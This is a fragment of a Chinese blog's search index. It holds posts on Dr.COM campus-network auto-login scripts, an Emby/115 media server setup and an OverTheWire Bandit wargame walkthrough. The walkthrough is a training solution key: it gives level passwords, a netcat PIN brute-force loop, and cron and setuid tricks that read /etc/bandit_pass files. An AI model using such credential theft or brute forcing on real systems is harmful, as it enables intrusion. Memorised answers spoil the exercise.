通过校园网网页认证","objectID":"/posts/route-auto-login/:6:0","tags":["折腾"],"title":"Drcom校园网使用路由器过验证","uri":"/posts/route-auto-login/#6-通过校园网网页认证"},{"categories":["折腾"],"collections":null,"content":"6.1 无线登录脚本 #!/bin/bash # --- 运营商代码 --- # 中国联通: unicom # 中国移动: cmcc # 中国电信: telecom # -------------------- # Account Information --- USERNAME=\"\" # \u003c--- 你的账号 PASSWORD=\"\" # \u003c--- 你的密码 OPERATOR_CODE=\"\" # \u003c--- 运营商代码(留空) # --- End of Configuration --- COOKIE_FILE=\"/tmp/drcom_cookies.txt\" if [ -n \"$OPERATOR_CODE\" ]; then FULL_USERNAME=\"${USERNAME}@${OPERATOR_CODE}\" else FULL_USERNAME=\"${USERNAME}\" fi ACTIVATE_URL=\"http://10.0.1.5/drcom/auth_msg.php?callback=dr1002\" FAIL_COUNT=0 MAX_FAIL_ATTEMPTS=3 echo \"Dr.COM Ultimate auto-login script started (with retry logic)...\" # --- Main Loop --- while true; do if curl -s --connect-timeout 5 http://www.baidu.com/robots.txt | grep -q \"User-agent\"; then if [ $FAIL_COUNT -gt 0 ]; then echo \"[INFO] Network jitter recovered. Fail count reset.\" FAIL_COUNT=0 fi current_time=$(date \"+%Y-%m-%d %H:%M:%S\") echo \"[${current_time}] Network is online. Sending keep-alive packet...\" curl -s -b \"$COOKIE_FILE\" \"$ACTIVATE_URL\" -H \"User-agent: Mozilla/5.0\" \u003e /dev/null else FAIL_COUNT=$((FAIL_COUNT+1)) echo \"[WARN] Network check failed! Attempt ${FAIL_COUNT}/${MAX_FAIL_ATTEMPTS}...\" if [ $FAIL_COUNT -ge $MAX_FAIL_ATTEMPTS ]; then echo \"[WARN] Confirmed network is down. Attempting to re-login...\" echo \" - Login account: $FULL_USERNAME\" FAIL_COUNT=0 rm -f \"$COOKIE_FILE\" LOGIN_URL=\"http://10.0.1.5/drcom/login?callback=dr1003\u0026DDDDD=${FULL_USERNAME}\u0026upass=${PASSWORD}\u00260MKKey=123456\" LOGIN_RESPONSE=$(curl --connect-timeout 5 -s -c \"$COOKIE_FILE\" \"$LOGIN_URL\" -H \"User-Agent: Mozilla/5.0\") if printf \"%s\" \"$LOGIN_RESPONSE\" | grep -q '\"result\":1'; then echo \"[SUCCESS] Login authentication successful!\" echo \" - Waiting 2 seconds before activation...\" sleep 2 curl -s -b \"$COOKIE_FILE\" \"$ACTIVATE_URL\" -H \"User-agent: Mozilla/5.0\" \u003e /dev/null echo \" - Waiting 5 seconds for network to stabilize...\" sleep 5 if curl -s --connect-timeout 5 http://www.baidu.com/robots.txt | grep -q \"User-agent\"; then echo \"[SUCCESS] Network restored.\" else echo \"[FAIL] Network activation failed.\" fi else echo \"[FAIL] Login authentication failed!\" MSG=$(printf \"%s\" \"$LOGIN_RESPONSE\" | sed -n 's/.*\"msg\":\"\\([^\"]*\\)\".*/\\1/p') if [ -n \"$MSG\" ]; then echo \" - Server response: $MSG\" fi sleep 5 fi else echo \" - Waiting for next check to confirm...\" fi fi sleep 10 done 试过 ping 114.114.114.114 有一段时间完全 ping 失败，后面 114.114.114.114 能用后，有试过掉验证依然能 ping 成功（所以一直没执行保活），最后的版本是使用 curl baidu.com 的。 ","date":"2026-03-22","heading":"6.1 无线登录脚本","objectID":"/posts/route-auto-login/:6:1","tags":["折腾"],"title":"Drcom校园网使用路由器过验证","uri":"/posts/route-auto-login/#61-无线登录脚本"},{"categories":["折腾"],"collections":null,"content":"6.2 有线登录脚本 #!/bin/sh ( # --- 请在这里填入您的账号信息 --- USERNAME=\"\" PASSWORD=\"\" OPERATOR_CODE=\"unicom\" # 运营商选项: unicom (联通), cmcc (移动), telecom (电信) # --- 配置结束 --- # 使用一个固定的Cookie文件路径 COOKIE_FILE=\"/tmp/drcom_cookies.txt\" # 构造带运营商后缀的完整用户名 FULL_USERNAME=\"${USERNAME}@${OPERATOR_CODE}\" # --- 主循环 --- while true; do # 步骤1: 在线状态检测 if ping -c 2 -W 3 114.114.114.114 \u003e /dev/null 2\u003e\u00261; then # 如果ping成功，说明网络在线 current_time=$(date \"+%H:%M:%S\") printf \"[正常] 网络在线 [${current_time}]。10秒后再次检测... \\r\" else # 如果ping失败，说明网络已断开，执行登录流程 echo \"\\n[警告] 网络已断开，正在尝试登录...\" echo \" - 登录账号: $FULL_USERNAME\" rm -f \"$COOKIE_FILE\" # 步骤A: 发起登录请求 LOGIN_URL=\"http://10.0.1.5/drcom/login?callback=dr1003\u0026DDDDD=${FULL_USERNAME}\u0026upass=${PASSWORD}\u00260MKKey=123456\" LOGIN_RESPONSE=$(curl -s -c \"$COOKIE_FILE\" \"$LOGIN_URL\" -H \"User-Agent: Mozilla/5.0\") if echo \"$LOGIN_RESPONSE\" | grep -q '\"result\":1'; then echo \"[成功] 登录认证成功！\" sleep 1 # 步骤B: 发送激活请求 ACTIVATE_URL=\"http://10.0.1.5/drcom/auth_msg.php?callback=dr1002\" curl -s -b \"$COOKIE_FILE\" \"$ACTIVATE_URL\" -H \"User-agent: Mozilla/5.0\" \u003e /dev/null if ping -c 2 -W 3 114.114.114.114 \u003e /dev/null 2\u003e\u00261; then echo \"[成功] 网络已成功激活。\" else echo \"[失败] 网络激活失败，请检查认证服务器状态。\" fi else echo \"[失败] 登录失败！\" MSG=$(echo \"$LOGIN_RESPONSE\" | sed -n 's/.*\"msg\":\"\\([^\"]*\\)\".*/\\1/p') echo \" - 服务器响应: $MSG\" fi fi # 每次循环结束后，统一等待10秒 sleep 10 done ) \u0026 使用方法： 将脚本保存为 .sh 文件（例如 autologin.sh）。 赋予脚本执行权限：chmod +x \u0026lt;脚本名\u0026gt;。 根据脚本内的注释，填入你的学号、密码和运营商代码。 执行脚本：./\u0026lt;脚本名\u0026gt;。 有线登录脚本需要放入 padavan 路由器后台 的 开机执行脚本 里面。就可以在路由器通电后自动登录了。所以也是采用了硬编码的方法。 ","date":"2026-03-22","heading":"6.2 有线登录脚本","objectID":"/posts/route-auto-login/:6:2","tags":["折腾"],"title":"Drcom校园网使用路由器过验证","uri":"/posts/route-auto-login/#62-有线登录脚本"},{"categories":["折腾"],"collections":null,"content":"7. 偶遇学校断网经历 在使用 Wi-Fi 时，舍友突然断网，而我的设备仍能正常上网。 此时我仍能正常上网，且开启了代理。代理会将 DNS 请求加密并通过代理服务器发起解析（即 DoH - DNS over HTTPS）。猜测是学校的 DNS 出现了问题。 如果希望在学校 DNS 服务故障时宿舍网络仍能正常使用，可以考虑安装 AdGuard Home。在我刚安装好后，学校网络就恢复正常了，因此未能进行实际测试。下次遇到类似情况时再进行验证。 ","date":"2026-03-22","heading":"7. 偶遇学校断网经历","objectID":"/posts/route-auto-login/:7:0","tags":["折腾"],"title":"Drcom校园网使用路由器过验证","uri":"/posts/route-auto-login/#7-偶遇学校断网经历"},{"categories":["折腾"],"collections":null,"content":"8. 参考资料 小米 红米【AC2100】一键刷BREED【30秒刷完】小白帅小伙专用 检查坏块 | 无需Telnet-小米无线路由器及小米网络设备-恩山无线论坛 - Powered by Discuz! 红米AC2100(rm2100)breed刷入padavan老毛子无法进入、坏块 通过breed刷入pb-boot解决-小米无线路由器及小米网络设备-恩山无线论坛 - Powered by Discuz! Dr.COM校园网多设备解决方案——路由器 Padavan/LuCI 固件自动网页认证+Telegram Bot 定时发送连接情况 - 虤虤豆 ","date":"2026-03-22","heading":"8. 参考资料","objectID":"/posts/route-auto-login/:8:0","tags":["折腾"],"title":"Drcom校园网使用路由器过验证","uri":"/posts/route-auto-login/#8-参考资料"},{"categories":["OverTheWire"],"collections":null,"content":"overthewire 的 bandit 关卡记录。 OverTheWire: Bandit ","date":"2026-02-08","heading":"","objectID":"/posts/bandit/:0:0","tags":["bandit","OverTheWire"],"title":"Bandit","uri":"/posts/bandit/#"},{"categories":["OverTheWire"],"collections":null,"content":"Bandit Level 0 → 1 读取根目录下名为 - 的文件。 操作： cat ./- # 或者 cat -- - 参数： --：在很多 Bash 命令中，双横杠表示命令选项的结束。其后的任何内容都会被视为文件名，这可以防止 cat 将 - 误认为是一个无效的命令行选项。 ./-：通过指定相对路径来明确它是一个文件，从而避免歧义。 ","date":"2026-02-08","heading":"Bandit Level 0 → 1","objectID":"/posts/bandit/:1:0","tags":["bandit","OverTheWire"],"title":"Bandit","uri":"/posts/bandit/#bandit-level-0--1"},{"categories":["OverTheWire"],"collections":null,"content":"Bandit Level 2 → 3 读取文件名中包含空格的文件。 操作： cat \"./--spaces in this filename--\" 参数： \u0026quot; \u0026quot;：使用双引号将带有空格的文件名括起来，使其被识别为一个整体参数。 ","date":"2026-02-08","heading":"Bandit Level 2 → 3","objectID":"/posts/bandit/:2:0","tags":["bandit","OverTheWire"],"title":"Bandit","uri":"/posts/bandit/#bandit-level-2--3"},{"categories":["OverTheWire"],"collections":null,"content":"Bandit Level 3 → 4 读取隐藏文件（以点开头的文件）。 操作： cat \"./...Hiding-From-You\" ","date":"2026-02-08","heading":"Bandit Level 3 → 4","objectID":"/posts/bandit/:3:0","tags":["bandit","OverTheWire"],"title":"Bandit","uri":"/posts/bandit/#bandit-level-3--4"},{"categories":["OverTheWire"],"collections":null,"content":"Bandit Level 4 → 5 在 inhere 目录下寻找唯一的人类可读文件。 操作： file ./* cat \"./-file07\" 参数： file：检查文件类型。 *：通配符，代表当前目录下的所有文件。通过对比结果，发现只有 -file07 是 ASCII text。 ","date":"2026-02-08","heading":"Bandit Level 4 → 5","objectID":"/posts/bandit/:4:0","tags":["bandit","OverTheWire"],"title":"Bandit","uri":"/posts/bandit/#bandit-level-4--5"},{"categories":["OverTheWire"],"collections":null,"content":"Bandit Level 5 → 6 寻找符合特定属性的文件：1033 字节、不可执行、人类可读。 操作： find . -type f -size 1033c ! -executable 参数： -type f：仅查找常规文件。 -size 1033c：精确匹配 1033 字节（c 代表 bytes）。 !：逻辑非，用于排除后续条件。 -executable：匹配可执行文件。 ","date":"2026-02-08","heading":"Bandit Level 5 → 6","objectID":"/posts/bandit/:5:0","tags":["bandit","OverTheWire"],"title":"Bandit","uri":"/posts/bandit/#bandit-level-5--6"},{"categories":["OverTheWire"],"collections":null,"content":"Bandit Level 6 → 7 在服务器任意位置寻找属于用户 bandit7、组 bandit6 且大小为 33 字节的文件。 操作： find / -user bandit7 -group bandit6 -size 33c 2\u003e/dev/null 参数： /：从根目录开始全局搜索。 2\u0026gt;/dev/null：将标准错误（stderr）重定向到空设备，从而屏蔽因权限不足产生的报错信息。 ","date":"2026-02-08","heading":"Bandit Level 6 → 7","objectID":"/posts/bandit/:6:0","tags":["bandit","OverTheWire"],"title":"Bandit","uri":"/posts/bandit/#bandit-level-6--7"},{"categories":["OverTheWire"],"collections":null,"content":"Bandit Level 7 → 8 在 data.txt 中提取关键词 millionth 旁边的密码。 操作： cat data.txt | grep millionth 参数： grep：文本搜索工具，用于匹配特定的字符串行。 ","date":"2026-02-08","heading":"Bandit Level 7 → 8","objectID":"/posts/bandit/:7:0","tags":["bandit","OverTheWire"],"title":"Bandit","uri":"/posts/bandit/#bandit-level-7--8"},{"categories":["OverTheWire"],"collections":null,"content":"Bandit Level 8 → 9 在 data.txt 中寻找唯一的（只出现过一次）文本行。 操作： sort data.txt | uniq -u 参数： sort：将文本行排序。uniq 只能识别相邻的重复行，因此必须先排序。 uniq -u：仅输出唯一的行（只出现过一次的行）。 ","date":"2026-02-08","heading":"Bandit Level 8 → 9","objectID":"/posts/bandit/:8:0","tags":["bandit","OverTheWire"],"title":"Bandit","uri":"/posts/bandit/#bandit-level-8--9"},{"categories":["OverTheWire"],"collections":null,"content":"Bandit Level 9 → 10 在二进制文件中提取人类可读的字符串。 操作： strings data.txt | grep \"==\" 参数： strings：打印文件中可打印的字符串，常用于在二进制文件中寻找文本信息。 ","date":"2026-02-08","heading":"Bandit Level 9 → 10","objectID":"/posts/bandit/:9:0","tags":["bandit","OverTheWire"],"title":"Bandit","uri":"/posts/bandit/#bandit-level-9--10"},{"categories":["OverTheWire"],"collections":null,"content":"Bandit Level 10 → 11 对 Base64 编码的文件进行解码。 操作： cat data.txt | base64 -d 参数： -d：decode，执行解码操作。 ","date":"2026-02-08","heading":"Bandit Level 10 → 11","objectID":"/posts/bandit/:10:0","tags":["bandit","OverTheWire"],"title":"Bandit","uri":"/posts/bandit/#bandit-level-10--11"},{"categories":["OverTheWire"],"collections":null,"content":"Bandit Level 11 → 12 破解 ROT13 凯撒密码（偏移 13 位）。 操作： cat data.txt | tr 'A-Za-z' 'N-ZA-Mn-za-m' 参数： tr：字符转换工具。此处将 A-Z 映射到 N-Z 再到 A-M，实现 13 位的字母移位。 ","date":"2026-02-08","heading":"Bandit Level 11 → 12","objectID":"/posts/bandit/:11:0","tags":["bandit","OverTheWire"],"title":"Bandit","uri":"/posts/bandit/#bandit-level-11--12"},{"categories":["OverTheWire"],"collections":null,"content":"Bandit Level 12 → 13 反复解压被多次嵌套压缩的文件。 操作： xxd -r data.txt \u003e data.bin file data.bin # 之后根据 file 的反馈，反复使用 gzip -d, bzip2 -d, tar -xf 等命令 参数： xxd -r：将十六进制转储（hex dump）还原为原始二进制格式。 ","date":"2026-02-08","heading":"Bandit Level 12 → 13","objectID":"/posts/bandit/:12:0","tags":["bandit","OverTheWire"],"title":"Bandit","uri":"/posts/bandit/#bandit-level-12--13"},{"categories":["OverTheWire"],"collections":null,"content":"Bandit Level 13 → 14 使用 SSH 私钥登录下一个级别。 操作： ssh -i sshkey.private -p 2220 bandit14@localhost 参数： -i：指定身份文件（私钥文件）。 ","date":"2026-02-08","heading":"Bandit Level 13 → 14","objectID":"/posts/bandit/:13:0","tags":["bandit","OverTheWire"],"title":"Bandit","uri":"/posts/bandit/#bandit-level-13--14"},{"categories":["OverTheWire"],"collections":null,"content":"Bandit Level 14 → 15 将当前密码提交到本地 30000 端口获取新密码。 操作： nc localhost 30000 # 输入 bandit14 的密码 参数： nc（netcat）：用于网络连接和数据传输。 ","date":"2026-02-08","heading":"Bandit Level 14 → 15","objectID":"/posts/bandit/:14:0","tags":["bandit","OverTheWire"],"title":"Bandit","uri":"/posts/bandit/#bandit-level-14--15"},{"categories":["OverTheWire"],"collections":null,"content":"Bandit Level 15 → 16 通过 SSL 加密连接提交密码。 操作： openssl s_client -connect localhost:30001 参数： s_client：实现了一个通用的 SSL/TLS 客户端，用于连接远程服务。 ","date":"2026-02-08","heading":"Bandit Level 15 → 16","objectID":"/posts/bandit/:15:0","tags":["bandit","OverTheWire"],"title":"Bandit","uri":"/posts/bandit/#bandit-level-15--16"},{"categories":["OverTheWire"],"collections":null,"content":"Bandit Level 16 → 17 扫描端口并识别提供 SSL 服务的端口，随后提交密码获取私钥。 操作： nmap -p 31000-32000 localhost nmap -sV -p 31000-32000 localhost # 缩小范围 echo \"kSkvUpMQ7lBYyCM4GBPvCvT1BfWRy0Dx\" | openssl s_client -connect localhost:31790 -quiet # 或者使用 ncat --ssl localhost 31790 # ncat 是nc 的升级版，添加了ssl加密的功能 参数： nmap -p：扫描指定范围的端口。-sV 查找 ssl 的服务端口。 -quiet：在 openssl s_client 中抑制建立连接时的冗余状态信息。 ","date":"2026-02-08","heading":"Bandit Level 16 → 17","objectID":"/posts/bandit/:16:0","tags":["bandit","OverTheWire"],"title":"Bandit","uri":"/posts/bandit/#bandit-level-16--17"},{"categories":["OverTheWire"],"collections":null,"content":"Bandit Level 17 → 18 对比两个文件的差异。 操作： diff passwords.new passwords.old ","date":"2026-02-08","heading":"Bandit Level 17 → 18","objectID":"/posts/bandit/:17:0","tags":["bandit","OverTheWire"],"title":"Bandit","uri":"/posts/bandit/#bandit-level-17--18"},{"categories":["OverTheWire"],"collections":null,"content":"Bandit Level 18 → 19 绕过 SSH 登录后立即退出的限制（.bashrc 被修改）。 操作： ssh -p 2220 bandit18@bandit.labs.overthewire.org cat readme 逻辑：在 SSH 命令末尾直接接上要执行的命令，可以不进入交互式 Shell 而直接获取结果。 ","date":"2026-02-08","heading":"Bandit Level 18 → 19","objectID":"/posts/bandit/:18:0","tags":["bandit","OverTheWire"],"title":"Bandit","uri":"/posts/bandit/#bandit-level-18--19"},{"categories":["OverTheWire"],"collections":null,"content":"Bandit Level 19 → 20 通过 SetUID 程序读取权限受限的文件。 操作： ./bandit20-do cat /etc/bandit_pass/bandit20 逻辑：bandit20-do 具有 bandit20 用户的权限位（SetUID），因此能以其身份读取密码文件。 ","date":"2026-02-08","heading":"Bandit Level 19 → 20","objectID":"/posts/bandit/:19:0","tags":["bandit","OverTheWire"],"title":"Bandit","uri":"/posts/bandit/#bandit-level-19--20"},{"categories":["OverTheWire"],"collections":null,"content":"Bandit Level 20 → 21 建立连接并互相传递密码。 操作： # 使用tmux 或者 参数\u0026 # tmux new -s task1 创建回话 # control +b,d 持久化 # tmux kill-session -t task1 关闭 # 终端 A nc -l -p 1234 # 终端 B ./suconnect 1234 参数： -l：监听模式（listen）。 -p：指定端口。 ","date":"2026-02-08","heading":"Bandit Level 20 → 21","objectID":"/posts/bandit/:20:0","tags":["bandit","OverTheWire"],"title":"Bandit","uri":"/posts/bandit/#bandit-level-20--21"},{"categories":["OverTheWire"],"collections":null,"content":"Bandit Level 21 → 22 分析 Cron 定时任务脚本。 操作： cat /etc/cron.d/cronjob_bandit22 cat /usr/bin/cronjob_bandit22.sh cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv ","date":"2026-02-08","heading":"Bandit Level 21 → 22","objectID":"/posts/bandit/:21:0","tags":["bandit","OverTheWire"],"title":"Bandit","uri":"/posts/bandit/#bandit-level-21--22"},{"categories":["OverTheWire"],"collections":null,"content":"Bandit Level 22 → 23 预测由脚本生成的随机文件名。 操作： echo \"I am user bandit23\" | md5sum # 获取哈希值后去 /tmp 下查找对应文件 ","date":"2026-02-08","heading":"Bandit Level 22 → 23","objectID":"/posts/bandit/:22:0","tags":["bandit","OverTheWire"],"title":"Bandit","uri":"/posts/bandit/#bandit-level-22--23"},{"categories":["OverTheWire"],"collections":null,"content":"Bandit Level 23 → 24 编写定时脚本以获取密码。 操作： # 在 /var/spool/bandit24/foo 放入一个脚本，让 cron 以 bandit24 身份执行它 echo \"cat /etc/bandit_pass/bandit24 \u003e /tmp/pass\" \u003e /tmp/my.sh chmod 777 /tmp/my.sh cp /tmp/my.sh /var/spool/bandit24/foo/ ","date":"2026-02-08","heading":"Bandit Level 23 → 24","objectID":"/posts/bandit/:23:0","tags":["bandit","OverTheWire"],"title":"Bandit","uri":"/posts/bandit/#bandit-level-23--24"},{"categories":["OverTheWire"],"collections":null,"content":"Bandit Level 24 → 25 暴力破解 4 位 PIN 码。 操作： for i in {0000..9999}; do echo \"gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8 $i\"; done | nc localhost 30002 | grep -vi \"Wrong\" 参数： {0000..9999}：Bash 的序列生成器。 -v：反向匹配，过滤掉包含 \u0026ldquo;Wrong\u0026rdquo; 的行。 -i ：忽略大小写。 ","date":"2026-02-08","heading":"Bandit Level 24 → 25","objectID":"/posts/bandit/:24:0","tags":["bandit","OverTheWire"],"title":"Bandit","uri":"/posts/bandit/#bandit-level-24--25"},{"categories":["OverTheWire"],"collections":null,"content":"Bandit Level 25 → 26 退出受限的 Shell（/usr/bin/showtext）。 操作： 缩小终端窗口，使 more 命令由于屏幕高度不足而分页。不要使用 PowerShell，使用 cmd。 输入 v 进入编辑器模式。 在编辑器中输入 :e /etc/bandit_pass/bandit26。 ","date":"2026-02-08","heading":"Bandit Level 25 → 26","objectID":"/posts/bandit/:25:0","tags":["bandit","OverTheWire"],"title":"Bandit","uri":"/posts/bandit/#bandit-level-25--26"},{"categories":["OverTheWire"],"collections":null,"content":"参考 Bandit - MayADevBe Blog ","date":"2026-02-08","heading":"参考","objectID":"/posts/bandit/:26:0","tags":["bandit","OverTheWire"],"title":"Bandit","uri":"/posts/bandit/#参考"},{"categories":["折腾"],"collections":null,"content":"使用QMS 和115网盘搭建 emby 网盘服。 最近 115 做活动，八年八百的价格是真的香，就入手了一个。 虽然说我有几个 emby 公益服，但在晚高峰的时候看卡卡的还是不爽，115 保存影片然后自己看正好弥补了这个缺点。 买了后，用爆米花直接看也可以，还带刮削。但是有更加好玩的，115 网盘 302 搭建 emby 的网盘服，整好了后可以很方便用户管理和分享（独乐乐不如众乐乐）。 ","date":"2026-02-04","heading":"","objectID":"/posts/emby-302-115/:0:0","tags":["emby","115网盘",302],"title":"115网盘302搭建emby服","uri":"/posts/emby-302-115/#"},{"categories":["折腾"],"collections":null,"content":"什么是刮削？ 基于视频文件的命名，利用 scraper（刮削器）从网络数据库（如TMDB、IMDB）中搜索并自动匹配信息，方便用户通过海报墙管理本地媒体库。刮削完成后本地会生成一个 nfo 的文件。当 emby 读取到这个文件，就可以生成精美的海报墙了。 ","date":"2026-02-04","heading":"什么是刮削？","objectID":"/posts/emby-302-115/:1:0","tags":["emby","115网盘",302],"title":"115网盘302搭建emby服","uri":"/posts/emby-302-115/#什么是刮削"},{"categories":["折腾"],"collections":null,"content":"Strm Strm 文件是这次 302 实现的关键。 这里就直接照抄 3.STRM与Emby · 1307super/cloud189-auto-save Wiki · GitHub 了。 ","date":"2026-02-04","heading":"Strm","objectID":"/posts/emby-302-115/:2:0","tags":["emby","115网盘",302],"title":"115网盘302搭建emby服","uri":"/posts/emby-302-115/#strm"},{"categories":["折腾"],"collections":null,"content":"什么是 STRM 文件？ STRM 文件是一种纯文本文件，扩展名为 .strm。它的内容只有一行，就是媒体文件的实际播放地址。通过 STRM 文件，我们可以让 Emby 播放网络存储（如天翼云盘）中的视频，而不需要把视频下载到本地。 ","date":"2026-02-04","heading":"什么是 STRM 文件？","objectID":"/posts/emby-302-115/:2:1","tags":["emby","115网盘",302],"title":"115网盘302搭建emby服","uri":"/posts/emby-302-115/#什么是-strm-文件"},{"categories":["折腾"],"collections":null,"content":"STRM 工作原理 Emby 扫描到 .strm 文件 打开文件读取里面的 URL 通过该 URL 直接播放视频 ","date":"2026-02-04","heading":"STRM 工作原理","objectID":"/posts/emby-302-115/:2:2","tags":["emby","115网盘",302],"title":"115网盘302搭建emby服","uri":"/posts/emby-302-115/#strm-工作原理"},{"categories":["折腾"],"collections":null,"content":"STRM 生成项目 当然，从别人分享的资源转存，STRM 不会凭空生成，需要用一些项目生成。 我在搜索的时候眼花缭乱，STRM 生成大多是免费的，但是 302 很多项目确实收费的。 最后我选择了免费的 GitHub - qicfan/qmediasync: 基于 网盘 开放平台接口来同步生成 STRM、元数据下载、元数据上传，直链解析播放和外网302播放，Emby联动删除网盘文件等, 下面简称 QMS 。 当然也有付费的：CMS、Mediahelp、Symedia、emby-ngnix。这些一步到位加上了资源搜索转存的功能。 如果有 PT 的话可以看看 MP。 ","date":"2026-02-04","heading":"STRM 生成项目","objectID":"/posts/emby-302-115/:3:0","tags":["emby","115网盘",302],"title":"115网盘302搭建emby服","uri":"/posts/emby-302-115/#strm-生成项目"},{"categories":["折腾"],"collections":null,"content":"观看步骤 graph LR %% 定义全局样式，增加内边距防止文字挤压 classDef default fill:#f9f9f9,stroke:#333,stroke-width:1px,padding:10px; classDef highlight fill:#e1f5fe,stroke:#01579b,stroke-width:2px; subgraph Step1 [1. 资源获取] A(\"115 网盘原始资源\") end subgraph Step2 [2. QMS 处理阶段] B(\"QMS 扫描115 目录\") C(\"QMS 识别电影生成本地 .strm\") B --\u003e C end subgraph Step3 [3. Emby 索引阶段] D(\"Emby 扫描目录读取 NFO/海报\") E(\"展示海报墙\") D --\u003e E end subgraph Step4 [4. 302 重定向播放] F(\"用户点击播放请求 strm\") G(\"QMS 获取115 CDN 直链\") H(\"返回 302 指令至客户端\") I(\"客户端直连115 节点播放\") F --\u003e G --\u003e H --\u003e I end %% 连接子图 A --\u003e B C --\u003e D E --\u003e F %% 指定重点环节样式 class G,H highlight; ","date":"2026-02-04","heading":"观看步骤","objectID":"/posts/emby-302-115/:4:0","tags":["emby","115网盘",302],"title":"115网盘302搭建emby服","uri":"/posts/emby-302-115/#观看步骤"},{"categories":["折腾"],"collections":null,"content":"搭建 前两天恰好看到飞牛爆出漏洞，这种暴露在公网的还是得要小心。尽量权限给小一点，不需要经常访问的就用 SSH 端口转发访问。 ","date":"2026-02-04","heading":"搭建","objectID":"/posts/emby-302-115/:5:0","tags":["emby","115网盘",302],"title":"115网盘302搭建emby服","uri":"/posts/emby-302-115/#搭建"},{"categories":["折腾"],"collections":null,"content":"docker-compose.yml services: postgresql: image: postgres:16-alpine container_name: postgresql restart: always environment: POSTGRES_DB: qmediasync POSTGRES_USER: moviepilot POSTGRES_PASSWORD: pg_password networks: - web-bridge volumes: - './postgresql/data:/var/lib/postgresql/data' healthcheck: test: [\"CMD-SHELL\", \"pg_isready -U moviepilot -d qmediasync\"] interval: 5s timeout: 5s retries: 5 qmediasync: image: qicfan/qmediasync:latest container_name: qmediasync restart: unless-stopped ports: - \"127.0.0.1:12332:12332\" - \"127.0.0.1:12333:12333\" - \"127.0.0.1:8095:8095\" - \"127.0.0.1:8096:8096\" volumes: - ./qmediasync/config:/app/config - ./media:/media environment: - GUID=1001 - GPID=1001 - TZ=Asia/Shanghai - DB_HOST=postgresql - DB_PORT=5432 - DB_USER=moviepilot - DB_PASSWORD=pg_password - DB_NAME=qmediasync networks: - web-bridge depends_on: postgresql: condition: service_healthy emby: image: lscr.io/linuxserver/emby:latest container_name: emby restart: always networks: - web-bridge environment: - PUID=1001 - PGID=1001 - TZ=Asia/Shanghai volumes: - './emby/config:/config' - './media:/media' healthcheck: test: [\"CMD-SHELL\", \"nc -z localhost 8096 || exit 1\"] interval: 30s timeout: 10s retries: 3 networks: web-bridge: external: true ","date":"2026-02-04","heading":"docker-compose.yml","objectID":"/posts/emby-302-115/:5:1","tags":["emby","115网盘",302],"title":"115网盘302搭建emby服","uri":"/posts/emby-302-115/#docker-composeyml"},{"categories":["折腾"],"collections":null,"content":"权限管理 创建一个非登录用户： useradd -u 1001 -U -m -s /sbin/nologin moviepilot id moviepilot 修改目录权限和所属用户： chmod -R 755 /opt/moviepilot chown -R 1001:1001 /opt/moviepilot 修改数据库目录权限和所属用户： chown -R 70:70 ./postgresql/data chmod -R 700 ./postgresql/data ","date":"2026-02-04","heading":"权限管理","objectID":"/posts/emby-302-115/:5:2","tags":["emby","115网盘",302],"title":"115网盘302搭建emby服","uri":"/posts/emby-302-115/#权限管理"},{"categories":["折腾"],"collections":null,"content":"反向代理 只需要反向代理 QMS 的 8095 端口。 其他需要用的时候用 SSH 端口转发访问就可以了。 ","date":"2026-02-04","heading":"反向代理","objectID":"/posts/emby-302-115/:5:3","tags":["emby","115网盘",302],"title":"115网盘302搭建emby服","uri":"/posts/emby-302-115/#反向代理"},{"categories":["折腾"],"collections":null,"content":"使用 ","date":"2026-02-04","heading":"使用","objectID":"/posts/emby-302-115/:6:0","tags":["emby","115网盘",302],"title":"115网盘302搭建emby服","uri":"/posts/emby-302-115/#使用"},{"categories":["折腾"],"collections":null,"content":"Emby service Emby 关闭自带的刮削（这样可以加快 emby 入库的速度），使用 QMS 的刮削功能。QMS 刮削后还可以将海报同步上传到 115。 Emby 关闭网页端的转码功能，避免 302 失败直接转码导致 VPS 卡死。 有需要的可以下载神医助手这个插件，增强了中文用户的体验，但是我安装提示修改失败，可能是我版本太高了。 ","date":"2026-02-04","heading":"Emby service","objectID":"/posts/emby-302-115/:6:1","tags":["emby","115网盘",302],"title":"115网盘302搭建emby服","uri":"/posts/emby-302-115/#emby-service"},{"categories":["折腾"],"collections":null,"content":"Emby client 直接连 QMS 的 8095 端口，而不是 emby 容器的 8095 端口。 如果 emby client 连接的是 emby 的 8095, 那么 302 会失败，并且播放会 error 报错。这也是我前面说只需要反向代理 QMS 的 8095 就可以。这是从 NS 老哥看到的解决办法。 ","date":"2026-02-04","heading":"Emby client","objectID":"/posts/emby-302-115/:6:2","tags":["emby","115网盘",302],"title":"115网盘302搭建emby服","uri":"/posts/emby-302-115/#emby-client"},{"categories":["折腾"],"collections":null,"content":"QMS 设置 照着官方wiki 设置就可以了。 可以配置一下 telegram 的通知，这样刮削，入库也会用通知了。 ","date":"2026-02-04","heading":"QMS 设置","objectID":"/posts/emby-302-115/:6:3","tags":["emby","115网盘",302],"title":"115网盘302搭建emby服","uri":"/posts/emby-302-115/#qms-设置"},{"categories":["折腾"],"collections":null,"content":"WAF 的设置 我依然用 Cloudflare 的 CDN，依旧用的 Cloudflare 的 WAF。 因为给非中国地区的 IP 访问加上托管质询。要将/web，/emby 路径加上白名单，保证正常观看。 ","date":"2026-02-04","heading":"WAF 的设置","objectID":"/posts/emby-302-115/:7:0","tags":["emby","115网盘",302],"title":"115网盘302搭建emby服","uri":"/posts/emby-302-115/#waf-的设置"},{"categories":["折腾"],"collections":null,"content":"资源获取 Streamlit，这个网站可以搜索出 115 的资源。 还有一个配套容器，可以实现点一下转存（这个搭建在家里的 NAS 就行，我就不搭建了）。 ","date":"2026-02-04","heading":"资源获取","objectID":"/posts/emby-302-115/:8:0","tags":["emby","115网盘",302],"title":"115网盘302搭建emby服","uri":"/posts/emby-302-115/#资源获取"},{"categories":["折腾"],"collections":null,"content":"给 NAS 配置一下代理，因为上次使用 ShellCrash 透明代理出了点问题，我将所有节点重置后NAS从探针面板和 tailscale 都失联了。这次决定用下更轻量的 sing-box ，并且可以减少代理配置面。毕竟 NAS 还是稳定性最重要，我不打算拿来当旁路由使用。","date":"2026-01-15","objectID":"/posts/sing-box/","tags":["sing-box","代理"],"title":"给NAS用上Sing Box","uri":"/posts/sing-box/"},{"categories":["折腾"],"collections":null,"content":" 摘要 给 NAS 配置一下代理，因为上次使用 clashshell 透明代理出了点问题，我将所有节点重置后NAS从探针面板和 tailscale 都失联了。这次决定用下更轻量的 sing-box 